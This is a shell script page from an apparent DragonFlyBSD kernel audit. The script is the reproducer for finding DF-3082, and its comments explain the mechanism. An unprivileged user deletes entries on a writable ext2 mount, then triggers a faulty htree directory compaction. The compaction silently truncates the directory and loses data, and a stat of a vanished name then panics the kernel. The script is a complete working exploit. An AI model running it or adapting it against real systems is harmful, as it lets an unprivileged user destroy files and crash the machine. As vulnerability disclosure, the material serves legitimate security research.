DragonFlyBSD Kernel Audit
DF-3082 / trigger.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-3082 run — PART 2 (guest, UNPRIVILEGED user maxx on the RW-mounted ext2).
#  1. delete ~50 entries -> both htree leaves have free slack
#  2. create new names until ext2_direnter's compaction truncate fires:
#     dp->i_endoff was computed leaf-locally by the htree lookup, so the
#     directory is truncated to the end of the leaf the new name hashed
#     into -> every later directory block is freed (silent data loss)
#  3. stat one of the vanished names -> kernel walks the (still live) htree
#     index into a freed block -> zero-filled buffer -> mangled dirent ->
#     ext2_dirbad() -> panic on a writable mount
cd /mnt/e2/d || exit 1
ls | sort > /tmp/before.txt
echo "entries before: $(wc -l < /tmp/before.txt)"
for i in $(seq -w 1 50); do rm -f payloadname$i; done
echo "entries after rm 50: $(ls | wc -l)"
n=0
while [ $n -lt 40 ]; do
	n=$((n+1))
	name=$(printf 'zzq%03d' $n)
	touch "$name" || echo "touch $name: $?"
	c=$(ls | wc -l)
	echo "after touch $name: entries=$c"
	if [ "$c" -lt 52 ]; then
		echo "TRUNCATE-DETECTED: directory collapsed to $c entries"
		break
	fi
done
ls | sort > /tmp/after.txt
comm -23 /tmp/before.txt /tmp/after.txt > /tmp/lost.txt
echo "lost entries: $(wc -l < /tmp/lost.txt)"
head -5 /tmp/lost.txt
lost=$(head -1 /tmp/lost.txt)
if [ -z "$lost" ]; then
	echo "NO-TRUNCATE (unexpected on stock kernel)"
	exit 9
fi
echo "stating vanished entry '$lost' -> expect kernel panic on stock kernel"
stat "/mnt/e2/d/$lost"
echo "SURVIVED-STAT (unexpected on stock kernel)"